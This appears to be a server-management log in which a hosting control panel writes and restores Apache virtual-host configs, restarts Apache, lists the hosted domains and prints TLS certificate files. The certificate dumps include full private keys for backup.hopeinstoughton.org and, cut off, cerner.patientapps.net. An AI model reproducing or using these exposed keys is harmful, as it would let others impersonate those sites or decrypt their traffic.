CustomLog /var/log/apache2/hopeinstoughton/backup_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/backup_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf= 1'
fi
2025-10-11 06:00:22:
chmod 755 /tmp/pkp147929; /tmp/pkp147929; rm /tmp/pkp147929
2025-10-11 06:00:22:
2025-10-11 06:00:22:
PUT: /tmp/pkp157390
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-11 06:00:22:
chmod 755 /tmp/pkp157390; /tmp/pkp157390; rm /tmp/pkp157390
2025-10-11 06:00:22:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:00:22: Establishing a connection
2025-10-11 06:00:22:
PUT: /tmp/pkp768722
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-11 06:00:23:
chmod 755 /tmp/pkp768722; /tmp/pkp768722; rm /tmp/pkp768722
2025-10-11 06:00:23:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:00:23:
PUT: /tmp/pkp984807
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:00:23:
chmod 755 /tmp/pkp984807; /tmp/pkp984807; rm /tmp/pkp984807
2025-10-11 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 1700
<VirtualHost *:80>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/hopeinstoughton/backup_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/backup_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-11 06:00:23:
PUT: /tmp/pkp559235
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:00:23:
chmod 755 /tmp/pkp559235; /tmp/pkp559235; rm /tmp/pkp559235
2025-10-11 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt 5378
39:fa:56:96:7c:9c:ef:09:cd:89:bc:b9:8c:12:bd:d9
-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBpoVeLQ21oNzNDWIm7j+xLgJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTUxWhcNMjYwMTA5MDUwMTUwWjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOwLPa0muBUJanXi/rppZDjOCLfGA8GkyLbaAI5ytndorRTY
4xzIaHILAcTEmgIKgsDCs0uxb8mYaBkCuMPcgKgVsNR/btS157RmCujSNEDanlDS
Iva2GwqV/EsrlV/sCpUNR1w6KZ3l1+5rYkQt1vwgL3eWoTmx5uEI064mXhGVPNrE
1bUZucN0bS/jqAFsWJkuk8wfDnlLPSWLjQBO7JyqUhdtDXUVT8vKNOCHz2YZLN7Q
xMp6U7w00BmqormAio7FdBIIseawOq3MOCorDQjKBeaygdTIvAe42z7lGUHasJ4f
/J+JqAjxypshyJM21jzAsj3Iy9az3Zaqle30f/sCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUsO5/MBnKMFvKoLwcRE19WoTR89YwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzEwLmNybDCCAQQGCisG
AQQB1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJ
fc3wAAABmdHbHAsAAAQDAEcwRQIgP3FCcBYSolBv6jLRFV59Lq/p34YwEp/eodlR
f9DwDIYCIQC367qcifNBvsAqHEcTTkMZX42FFLCv5pf9Lr+rL1nWewB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbHA8AAAQDAEcwRQIhAO2J
uUklsSORId1ULUksNseqhmydJ74dvSxCkr5/eibPAiAbBk75Gz7nRbTLaiRhwE4k
4F8pZVZIuhkIoAHQC1geujANBgkqhkiG9w0BAQsFAAOCAQEAAmlBemGvAvxzAJZR
+CGJfZB5LNqCwSwIKHCJhtOGvSJHFASjAWGpuPNHE9C3CQgFS9sg9OM2HTSNdJPu
xLnY3rumdJ3k/8HaEsokEjQHqxQ/yhBwb9EIrsZr9u0AriQ/uN4IagTVJKyAvnsD
joevkp9d75Xs3jDen7vgtHjaGzJ5suj6zDhkhxdE8YDrOOVA5ZJu05Bvtt4/4DeB
/oWgIP3+8BMiNFuPluxrzn84puw/tzGCMmOebAed3tEMK3JeHFfF9d8h35Whkubo
krxMzhUOaTW2SFJ5mwmHy30MxoFNobgKpzMadkIXeQ/jDEpG9rCr9JcP0A/6Nv5z
190dVg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsCz2tJrgVCWp1
4v66aWQ4zgi3xgPBpMi22gCOcrZ3aK0U2OMcyGhyCwHExJoCCoLAwrNLsW/JmGgZ
ArjD3ICoFbDUf27Utee0Zgro0jRA2p5Q0iL2thsKlfxLK5Vf7AqVDUdcOimd5dfu
a2JELdb8IC93lqE5sebhCNOuJl4RlTzaxNW1GbnDdG0v46gBbFiZLpPMHw55Sz0l
i40ATuycqlIXbQ11FU/LyjTgh89mGSze0MTKelO8NNAZqqK5gIqOxXQSCLHmsDqt
zDgqKw0IygXmsoHUyLwHuNs+5RlB2rCeH/yfiagI8cqbIciTNtY8wLI9yMvWs92W
qpXt9H/7AgMBAAECggEBAIb9xsAHrK8bO28/6j3hmBeEfSfcbrmH6+Hmuvq8T+3q
R1Hs17XWRyUxdkl5xjn0mOJ0duWLDEtWhfIHxHL+3/VAsmhUmKW9gk2BLiwISynr
3S6LfsNpUf2z2R2ER2EcNNEZTv5HpRVQJTWM5B3puVFndr4Fvx6nx0pbKfQmrRWQ
EpMBke7tnLtsu4/CXZbu74yKCnKNZZFpu4hpS4W6xwPXSYLpUvRI7rwsnzcg3xv4
RI3m6D987NCX6F91FGG/fgMAV31BOBWszTkw2vzXIiJNFHSICK/2fmhafkmPkKAp
wjmcR3VG6S6FXNzmmOpQj6rqhvvViP1GMc5jFpGtKUECgYEA+V1gHc7P4n4bWFgY
FvFeM42RsFjr+oSVg1OsWITwglCn08hEaRcVs83w0FeJrVmKYAw9oDQIZpxHn7k0
WV2S/miF7XQM7RlXmuVIpQ9p2yg9E2fE7CtDGPnjl3ZZ+5rSPkvImRUEbWBjdBu1
TQL2YRoyxSRT5vISsLcevvrKeCcCgYEA8lMgYaubA74nCSxlWUONXN3Bx3ERzMPP
Q8cFC52yJlTDnjSVSS9qoiGd+SMVejV9QZskxxr46x6xL1fKktx5pwQ3le71csqU
qAxIpDktEOr+HszDT3JWtc3lLM5LqTYSGhsNqzitWOSsNEauZXtQSlN/wsNBK1zZ
PqfHCcoaKg0CgYB/hNqkI6B3aJm/Qb1/7gqIPnskPTTftXFn6SAXXFRJr8lDKgSh
4SY9/rCJOlqzhTiYCWpyRGmPX5fY/DLjCFElPHpQhaoejXkZQus1TX6Kjjc9dzFi
vHThjthuGh3F5tRg+wwoDHFpJYN2Wr0KFtu7qFQSMJOfZGdeayaT71gevQKBgHKO
hbJms+OzEzUs/cSTQNL0KtWkSGvq7aL3BRWWuU+RpuC1rxVoCxsWlV3gDhk2DD7l
nx9ZSu+sFMtyz1taS1B/l9+TlglsZ5aCKB0qwnlK/lOFLZfzT7am3X6vD+mwnCIn
Q/D73Ec344jbGTr0buKUUsO6FqbvP+x02I1yM6hJAoGAHqxbqKEiJibOdBwusvPU
u5+YNgExpu9DLfwb6EHjALE3rtV32LqVtqno+gOxO1h30oMERQHx2LdrJViedBOk
G94dydnV6CGSQReU29Y2tEij1zva1qI+CM0WEshgXyGV/sJLRnnzXcYmvPU4LeKD
559NVKCpPvHGKoyMPc5PIbk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-11 06:00:23: Establishing a connection
2025-10-11 06:00:23: Establishing a connection
2025-10-11 06:00:23:
PUT: /tmp/pkp879690
#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-11 06:00:24:
chmod 755 /tmp/pkp879690; /tmp/pkp879690; rm /tmp/pkp879690
2025-10-11 06:00:24:
0
2025-10-11 06:00:49: Establishing a connection
2025-10-11 06:00:49:
PUT: /tmp/pkp176998
#!/bin/bash
temp_file=$(mktemp)
TARGET=9165176ee0fe7a5f957c52572458ff70.crt
cat > $temp_file <<'endmsg'
1b:f2:77:39:b4:3f:67:f3:eb:29:eb:17:db:7a:8c:02
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmZmHTZA86iTLqb3mqdQnW0iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjE4WhcNMjYwMTA5MDUwMjE3WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA0FeY936J7P9SiKbEdp+JiaR3F5c9Zn6zdNlZCDFy2InMo4jf9wK0
JJ4GDMeqj4y96Tt2xPADziFqcf8BcsKjUFIKV9RkOVRZ6Gj49Har/Lf9koRbaH2Z
+5IL2nrAGZYcT9rnUqhci1xKRZPXNPYzIamEQplYYTyDR8JOAc7tQ6TNJBTYavjl
KbSl44k0nXnhQYNZneu+3e63N/+BEy6hGatqN6YlI9HcaaVxjj3rtBvKg76Z44xR
udYbX/uXls8zUK3RaWCTxeuOtleeD/Jm4eqQIaFeKZ8c5tMi99MzchSCO48wQHLf
lghKsA4kccpFy3jW3IaLHBiquW/n90B4fwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBQL+LnevTp5n1F36v5YMzQZKdh1IjAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNS5jcmwwggECBgorBgEEAdZ5AgQC
BIHzBIHwAO4AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnR
24N8AAAEAwBGMEQCIBq27AOnFIxQmltlOZELBpU4VjN/VnxmpejKkScv4kV5AiAC
XLKs6j1rqpxHW9QwcDrycsUbKXmmciRo6g+xwsTiKgB1ABmG1Mcoqm/+ugNveCpN
AZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbh0oAAAQDAEYwRAIgdlz/sGqPmuY920Oa
QZCg7hVzMjTdzv93kV3MY7XB89cCIDypINdLHStYyREySUTVboHr8v6AC6fEQ7Iy
aLh0/m3PMA0GCSqGSIb3DQEBCwUAA4IBAQBY9sAOoEQAOpnOTX4o/W5J4pfTXq+l
k4JZIii2ufUrfGdC3QgRrPtI7qnV+iCdAvK8Jm4+UXcN3prHsWY/z5hakJvqgr4i
UGP32eO1kwPMKm2Vvs9wFFldUdfXuvWt+Plir8dnkDo8M2L0FduLLEpjvI6Fudmk
MJBUQYt4aaBYPqREtkB229AELfJ9NP52F6Jr3ZzZw0R3AK0FWIDxO5U4PdhRXuyJ
UAkEIIDjdloqJDguFQ6D/R9/Zi8KiQSTZC/y0+p2OfDdjeMNMRK7lNi784ercLUD
iihMpwZMsPHSRM+7J5WyX/OlmDvnet4n7K57oSYSp5lqYZr0ZjR7LRNS
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDQV5j3fons/1KI
psR2n4mJpHcXlz1mfrN02VkIMXLYicyjiN/3ArQkngYMx6qPjL3pO3bE8APOIWpx
/wFywqNQUgpX1GQ5VFnoaPj0dqv8t/2ShFtofZn7kgvaesAZlhxP2udSqFyLXEpF
k9c09jMhqYRCmVhhPINHwk4Bzu1DpM0kFNhq+OUptKXjiTSdeeFBg1md677d7rc3
/4ETLqEZq2o3piUj0dxppXGOPeu0G8qDvpnjjFG51htf+5eWzzNQrdFpYJPF6462
V54P8mbh6pAhoV4pnxzm0yL30zNyFII7jzBAct+WCEqwDiRxykXLeNbchoscGKq5
b+f3QHh/AgMBAAECggEAIQ1Ukib8AKI82LsEPgFvU2vJDPAMaJ8/HxGAI2Gc46dw
1JzZUxmVtJ1xPkPK1j0wv7iUTgf5wpDgjzcyZp9kQ1DQnUBvqfysysckf7v36v7R
dpYS3k/WxudThBSnNyfuU+jZe+6DyAQbMFCU+qz4TaXT+rDTKZHtDcxQjc7jKzDH
jw4E+YcpMRmhpP8ylCRHZGyurlZASBs8HrAA+sfrnpc8XdCWCYy7lRB6RMCgOyKx
5PBcKxb2/MhlYPVeA6iJ4EYOe3triD6ggQ61dp+wRMDYxiou5rzv0SqrAjy2vi6/
sPd3Y69Wu3cbH2BWtqtkwpoX38enEfHdFbnj2B49mQKBgQDzHYOVb/KPEnYcq8lh
DtUPZKlefDIgNtdvUVrCmUXpxyiIB6fgWD6W+9h6AnXcPx7TIGqxRX0PcC0FNzy3
oeZFus+AAQh+ok5er2i2O6vXYfNpPUTP5jLNJ8SUiIvdP6op0GMI48KlGshoXO2Z
zpXDvOkwdUEifbQ9boQr3sQFWwKBgQDbYkvsisrICYiuPAmbFuh+bKUdKNe3wkLu
